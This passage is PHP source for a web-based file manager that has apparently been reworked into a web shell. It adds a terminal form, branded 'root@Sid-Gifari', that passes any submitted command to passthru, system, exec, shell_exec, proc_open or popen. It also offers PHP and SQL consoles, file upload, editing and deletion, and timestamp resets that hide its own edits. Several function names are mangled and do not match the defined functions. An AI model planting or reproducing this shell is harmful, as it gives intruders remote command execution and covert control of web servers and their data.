name="tpl_edited"> <tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr> '.$str.' <tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr> </form> <form method="post" action=""> <input type="hidden" value="'.$lng_tpl.'" name="tpl_edited"> <tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value" cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr> <tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr> </form> </table> '; } function find_text_in_files($dir, $mask, $text) { $results = array(); if ($handle = opendir($dir)) { while (false !== ($entry = readdir($handle))) { if ($entry != "." && $entry != "..") { $path = $dir . "/" . $entry; if (is_dir($path)) { $results = array_merge($results, find_text_in_files($path, $mask, $text)); } else { if (fnmatch($mask, $entry)) { $contents = file_get_contents($path); if (strpos($contents, $text) !== false) { $results[] = str_replace('//', '/', $path); } } } } } closedir($handle); } return $results; } /* End Functions */ // authorization if ($auth['authorize']) { if (isset($_POST['login']) && isset($_POST['password'])){ if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) { setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization'])); $_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']); } } if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) { echo ' '; die(); } if (isset($_POST['quit'])) { unset($_COOKIE[$auth['cookie_name']]); setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization'])); header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']); } } // Change config if (isset($_GET['fm_settings'])) { if (isset($_GET['fm_config_delete'])) { unset($_COOKIE['fm_config']); setcookie('fm_config', '', time() - (86400 * $auth['days_authorization'])); header('Location: '.fm_url().'?fm_settings=true'); exit(0); } elseif (isset($_POST['fm_config'])) { $fm_config = $_POST['fm_config']; setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization'])); $_COOKIE['fm_config'] = serialize($fm_config); $msg_ntimes = __('Settings').' '.__('done'); } elseif (isset($_POST['fm_login'])) { if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login']; $fm_login = json_encode($_POST['fm_login']); $fgc = file_get_contents(__FILE__); $search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc); if (file_put_contents(__FILE__, $replace)) { $msg_ntimes .= __('File updated'); if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login']; if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password']; $auth = $_POST['fm_login']; } else $msg_ntimes .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } } elseif (isset($_POST['tpl_edited'])) { $lng_tpl = $_POST['tpl_edited']; if (!empty($_POST[$lng_tpl.'_name'])) { $fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS); } elseif (!empty($_POST[$lng_tpl.'_new_name'])) { $fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS); } if (!empty($fm_php)) { $fgc = file_get_contents(__FILE__); $search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc); if (file_put_contents(__FILE__, $replace)) { ${$lng_tpl.'_templates'} = $fm_php; $msg_ntimes .= __('File updated'); } else $msg_ntimes .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } } else $msg_ntimes .= __('Error occurred'); } } // Just show image if (isset($_GET['img'])) { $file=base64_decode($_GET['img']); if ($info=getimagesize($file)){ switch ($info[2]){ //1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP case 1: $ext='gif'; break; case 2: $ext='jpeg'; break; case 3: $ext='png'; break; case 6: $ext='bmp'; break; default: die(); } header("Content-type: image/$ext"); echo file_get_contents($file); die(); } } // Just download file if (isset($_GET['download'])) { $file=base64_decode($_GET['download']); fm_download($file); } // Just show info if (isset($_GET['phpinfo'])) { phpinfo(); die(); } // Mini proxy, many bugs! if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) { $url = isset($_GET['url'])?urldecode($_GET['url']):''; $proxy_form = ' <div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);"> <form action="" method="GET"> <input type="hidden" name="proxy" value="true"> '.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55"> <input type="submit" value="'.__('Show').'" class="fm_input"> </form> </div> '; if ($url) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy'); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_REFERER, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER,true); $result = curl_exec($ch); curl_close($ch); //$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result); $result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result); $result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result); echo $result; die(); } } ?> <!doctype html> <html> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title></title> <style> body { background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 8pt; margin: 0px; } a:link, a:active, a:visited { color: #006699; text-decoration: none; } a:hover { color: #DD6900; text-decoration: underline; } a.th:link { color: #FFA34F; text-decoration: none; } a.th:active { color: #FFA34F; text-decoration: none; } a.th:visited { color: #FFA34F; text-decoration: none; } a.th:hover { color: #FFA34F; text-decoration: underline; } table.bg { background-color: #ACBBC6 } th, td { font: normal 8pt Verdana, Arial, Helvetica, sans-serif; padding: 3px; } th { height: 25px; background-color: #006699; color: #FFA34F; font-weight: bold; font-size: 11px; } .row1 { background-color: #EFEFEF; } .row2 { background-color: #DEE3E7; } .row3 { background-color: #D1D7DC; padding: 5px; } tr.row1:hover { background-color: #F3FCFC; } tr.row2:hover { background-color: #F0F6F6; } .whole { width: 100%; } .all tbody td:first-child{width:100%;} textarea { font: 9pt 'Courier New', courier; line-height: 125%; padding: 5px; } .textarea_input { height: 1em; } .textarea_input:focus { height: auto; } input[type=submit]{ background: #FCFCFC none !important; cursor: pointer; } .folder { background-image: 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} .file { background-image: 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} <?=fm_home_style()?> .img { background-image: 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} @media screen and (max-width:720px){ table{display:block;} #fm_table td{display:inline;float:left;} #fm_table tbody td:first-child{width:100%;padding:0;} #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;} #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;} #fm_table tr{display:block;float:left;clear:left;width:100%;} #header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;} #header_table table td {display:inline;float:left;} } </style> </head> <body> <?php $url_inc = '?fm=true'; if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){ $res = empty($_POST['sql']) ? '' : $_POST['sql']; $res_lng = 'sql'; } elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){ $res = empty($_POST['php']) ? '' : $_POST['php']; $res_lng = 'php'; } if (isset($_GET['fm_settings'])) { echo ' <table class="whole"> <form method="post" action=""> <tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr> '.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').' '.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').' '.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').' '.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').' '.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').' '.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').' '.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').' '.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').' '.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').' '.fm_config_checkbox_row(__('Show').' xls','show_xls').' '.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').' '.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').' <tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr> <tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr> <tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr> <tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr> '.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').' '.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').' '.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').' '.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').' '.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').' <tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr> </form> </table> <table> <form method="post" action=""> <tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr> <tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr> <tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr> <tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr> <tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr> <tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr> <tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr> <tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr> </form> </table>'; echo fm_tpl_form('php'),fm_tpl_form('sql'); } elseif (isset($proxy_form)) { die($proxy_form); } elseif (isset($res_lng)) { ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php'); else echo '</h2></td><td>'.fm_run_input('sql'); ?></td></tr></table></td> </tr> <tr> <td class="row1"> <a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a> <form action="" method="POST" name="console"> <textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/> <input type="reset" value="<?=__('Reset')?>"> <input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run"> <?php $str_tmpl = $res_lng.'_templates'; $tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : ''; if (!empty($tmpl)){ $active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : ''; $select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n"; $select .= '<option value="-1">' . __('Select') . "</option>\n"; foreach ($tmpl as $key=>$value){ $select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n"; } $select .= "</select>\n"; echo $select; } ?> </form> </td> </tr> </table> <?php if (!empty($res)) { $fun='fm_'.$res_lng; echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>'; } } elseif (!empty($_REQUEST['edit'])){ if(!empty($_REQUEST['save'])) { $fn = $path . $_REQUEST['edit']; $filemtime = filemtime($fn); if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated'); else $msg_ntimes .= __('Error occurred'); if ($_GET['edit']==basename(__FILE__)) { touch(__FILE__,1415116371); } else { if (!empty($fm_config['restore_time'])) touch($fn,$filemtime); } } $oldcontent = @file_get_contents($path . $_REQUEST['edit']); $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table border='0' cellspacing='0' cellpadding='1' width="100%"> <tr> <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th> </tr> <tr> <td class="row1"> <?=$msg_ntimes?> </td> </tr> <tr> <td class="row1"> <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$editlink?>"> <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea> <input type="submit" name="save" value="<?=__('Submit')?>"> <input type="submit" name="cancel" value="<?=__('Cancel')?>"> </form> </td> </tr> </table> <?php echo $auth['script']; } elseif(!empty($_REQUEST['rights'])){ if(!empty($_REQUEST['save'])) { if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively'])) $msg_ntimes .= (__('File updated')); else $msg_ntimes .= (__('Error occurred')); } clearstatcache(); $oldrights = fm_rights_string($path . $_REQUEST['rights'], true); $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row1"> <?=$msg_ntimes?> </td> </tr> <tr> <td class="row1"> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$link?>"> <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>"> <?php if (is_dir($path.$_REQUEST['rights'])) { ?> <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/> <?php } ?> <input type="submit" name="save" value="<?=__('Submit')?>"> </form> </td> </tr> </table> <?php } elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') { if(!empty($_REQUEST['save'])) { rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']); $msg_ntimes .= (__('File updated')); $_REQUEST['rename'] = $_REQUEST['newname']; } clearstatcache(); $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row1"> <?=$msg_ntimes?> </td> </tr> <tr> <td class="row1"> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$link?>"> <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/> <input type="submit" name="save" value="<?=__('Submit')?>"> </form> </td> </tr> </table> <?php } else { //quanxian gai bian hou xu yao xi tong chongqi $msg_ntimes = ''; if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) { if(!empty($_FILES['upload']['name'])){ $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']); if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){ $msg_ntimes .= __('Error occurred'); } else { $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name']; } } } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') { if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) { $msg_ntimes .= __('Error occurred'); } else { $msg_ntimes .= __('Deleted').' '.$_REQUEST['delete']; } } elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) { if(!@mkdir($path . $_REQUEST['dirname'],0777)) { $msg_ntimes .= __('Error occurred'); } else { $msg_ntimes .= __('Created').' '.$_REQUEST['dirname']; } } elseif(!empty($_POST['search_recursive'])) { ini_set('max_execution_time', '0'); $search_data = find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']); if(!empty($search_data)) { $msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>'; foreach ($search_data as $filename) { $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a> '; } } else { $msg_ntimes .= __('Nothing founded'); } } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) { if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) { $msg_ntimes .= __('Error occurred'); } else { fclose($fp); $msg_ntimes .= __('Created').' '.$_REQUEST['filename']; } } elseif (isset($_GET['zip'])) { $source = base64_decode($_GET['zip']); $destination = basename($source).'.zip'; set_time_limit(0); $phar = new PharData($destination); $phar->buildFromDirectory($source); if (is_file($destination)) $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>'; else $msg_ntimes .= __('Error occurred').': '.__('no khumfail'); } elseif (isset($_GET['gz'])) { $source = base64_decode($_GET['gz']); $archive = $source.'.tar'; $destination = basename($source).'.tar'; if (is_file($archive)) unlink($archive); if (is_file($archive.'.gz')) unlink($archive.'.gz'); clearstatcache(); set_time_limit(0); //die(); $phar = new PharData($destination); $phar->buildFromDirectory($source); $phar->compress(Phar::GZ,'.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive.'.gz')) { unlink($archive); $destination .= '.gz'; } $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>'; } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail'); } elseif (isset($_GET['decompress'])) { // $source = base64_decode($_GET['decompress']); // $destination = basename($source); // $ext = end(explode(".", $destination)); // if ($ext=='zip' OR $ext=='gz') { // $phar = new PharData($source); // $phar->decompress(); // $base_file = str_replace('.'.$ext,'',$destination); // $ext = end(explode(".", $base_file)); // if ($ext=='tar'){ // $phar = new PharData($base_file); // $phar->extractTo(dir($source)); // } // } // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done'); } elseif (isset($_GET['gzfile'])) { $source = base64_decode($_GET['gzfile']); $archive = $source.'.tar'; $destination = basename($source).'.tar'; if (is_file($archive)) unlink($archive); if (is_file($archive.'.gz')) unlink($archive.'.gz'); set_time_limit(0); //echo $destination; $ext_arr = explode('.',basename($source)); if (isset($ext_arr[1])) { unset($ext_arr[0]); $ext=implode('.',$ext_arr); } $phar = new PharData($destination); $phar->addFile($source); $phar->compress(Phar::GZ,$ext.'.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive.'.gz')) { unlink($archive); $destination .= '.gz'; } $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>'; } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail'); } ?> <table class="whole" id="header_table" > <tr> <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th> </tr> <?php if(!empty($msg_ntimes)){ ?> <tr> <td colspan="2" class="row2"><?=$msg_ntimes?></td> </tr> <?php } ?> <tr> <td class="row2"> <table> <tr> <td> <?=fm_home()?> </td> <td> <?php session_start(); // List of command execution functions to check $execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen', 'symlink', 'dl']; // Check if any of the functions are enabled (not disabled by disable_functions) $canExecute = false; foreach ($execFunctions as $func) { if (function_exists($func)) { $canExecute = true; break; } } if (!isset($_SESSION['cwd'])) { $_SESSION['cwd'] = getcwd(); } // Update cwd from POST if valid directory if (isset($_POST['path']) && is_dir($_POST['path'])) { $_SESSION['cwd'] = realpath($_POST['path']); } $cwd = $_SESSION['cwd']; $output = ""; if (isset($_POST['terminal'])) { $cmdInput = trim($_POST['terminal-text']); if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) { $dir = trim($matches[1]); if ($dir === '' || $dir === '~') { $dir = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : $cwd; } elseif ($dir[0] !== DIRECTORY_SEPARATOR && $dir[0] !== '/' && $dir[0] !== '\\') { $dir = $cwd . DIRECTORY_SEPARATOR . $dir; } $realDir = realpath($dir); if ($realDir && is_dir($realDir)) { $_SESSION['cwd'] = $realDir; $cwd = $realDir; $output = "Changed directory to " . htmlspecialchars($realDir); } else { $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory"; } } else { if ($canExecute) { chdir($cwd); $cmd = $cmdInput . " 2>&1"; if (function_exists('passthru')) { ob_start(); passthru($cmd); $output = ob_get_clean(); } elseif (function_exists('system')) { ob_start(); system($cmd); $output = ob_get_clean(); } elseif (function_exists('exec')) { exec($cmd, $out); $output = implode("\n", $out); } elseif (function_exists('shell_exec')) { $output = shell_exec($cmd); } elseif (function_exists('proc_open')) { // Using proc_open as fallback $descriptorspec = [ 0 => ["pipe", "r"], 1 => ["pipe", "w"], 2 => ["pipe", "w"] ]; $process = proc_open($cmd, $descriptorspec, $pipes, $cwd); if (is_resource($process)) { fclose($pipes[0]); $output = stream_get_contents($pipes[1]); fclose($pipes[1]); $output .= stream_get_contents($pipes[2]); fclose($pipes[2]); proc_close($process); } else { $output = "Failed to execute command via proc_open."; } } elseif (function_exists('popen')) { $handle = popen($cmd, 'r'); if ($handle) { $output = stream_get_contents($handle); pclose($handle); } else { $output = "Failed to execute command via popen."; } } else { $output = "Error: No command execution functions available."; } } else { $output = "Command execution functions are disabled on this server. Terminal is unavailable."; } } } if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']); if (!isset($path)) $path = $cwd; ?> <strong>root@Sid-Gifari:<?php echo htmlspecialchars($cwd); ?>$</strong><br> <pre><?php echo htmlspecialchars($output); ?></pre> <form method="post" action="<?php echo $url_inc; ?>"> <input type="text" name="terminal-text" size="30" placeholder="Cmd"> <input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>" /> <input type="submit" name="terminal" value="Execute"> </form> </td> <td> <?php if(!empty($fm_config['make_directory'])) { ?> <form method="post" action="<?=$url_inc?>"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" name="dirname" size="15"> <input type="submit" name="mkdir" value="<?=__('Make directory')?>"> </form> <?php } ?> </td> <td> <?php if(!empty($fm_config['new_file'])) { ?> <form method="post" action="<?=$url_inc?>"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" name="filename" size="15"> <input type="submit" name="mkfile" value="<?=__('New file')?>"> </form> <?php } ?> </td> <td> <form method="post" action="<?=$url_inc?>" style="display:inline"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15"> <input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5"> <input type="submit" name="search" value="<?=__('Search')?>"> </form> </td> <td> <?=fm_run_input('php')?> </td> <td> <?=fm_run_input('sql')?> </td> </tr> </table> </td> <td class="row3"> <table> <tr> <td> <?php if (!empty($fm_config['upload_file'])) { ?> <form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" /> <input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" /> <input type="submit" name="test" value="<?=__('Upload')?>" /> </form> <?php } ?> </td> <td> <?php if ($auth['authorize']) { ?> <form action="" method="post"> <input name="quit" type="hidden" value="1"> <?=__('Hello')?>, <?=$auth['login']?> <input type="submit" value="<?=__('Quit')?>"> </form> <?php } ?> </td> <td> <?=fm_lang_form($language)?> </td> <tr> </table> </td> </tr> </table> <table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%"> <thead> <tr> <th style="white-space:nowrap"> <?=__('Filename')?> </th> <th style="white-space:nowrap"> <?=__('Size')?> </th> <th style="white-space:nowrap"> <?=__('Date')?> </th> <th style="white-space:nowrap"> <?=__('Rights')?> </th> <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th> </tr> </thead> <tbody> <?php $elements = fm_scan_dir($path, '', 'all', true); $dirs = array(); $files = array(); foreach ($elements as $file){ if(@is_dir($path . $file)){ $dirs[] = $file; } else { $files[] = $file; } } natsort($dirs); natsort($files); $elements = array_merge($dirs, $files); foreach ($elements as $file){ $filename = $path . $file; $filedata = @stat($filename); if(@is_dir($filename)){ $filedata[7] = ''; if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename); $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder"> </span> '.$file.'</a>'; $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').' zip',__('Archiving').' '. $file); $arlink = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').' .tar.gz',__('Archiving').' '.$file); $style = 'row2'; if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; else $alert = ''; } else { $link = $fm_config['show_img']&&@getimagesize($filename) ? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\'' . fm_img_link($filename) .'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img"> </span> '.$file.'</a>' : '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file"> </span> '.$file.'</a>'; $e_arr = explode(".", $file); $ext = end($e_arr); $loadlink = fm_link('download',$filename,__('Download'),__('Download').' '. $file); $arlink = in_array($ext,array('zip','gz','tar')) ? '' : ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').' .tar.gz',__('Archiving').' '. $file)); $style = 'row1'; $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; } $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>'; $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>'; $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>'; ?> <tr class="<?=$style?>"> <td><?=$link?></td> <td><?=$filedata[7]?></td> <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td> <td><?=$rightstext?></td> <td><?=$deletelink?></td> <td><?=$renamelink?></td> <td><?=$loadlink?></td> <td><?=$arlink?></td> </tr> <?php } } ?> </tbody> </table> 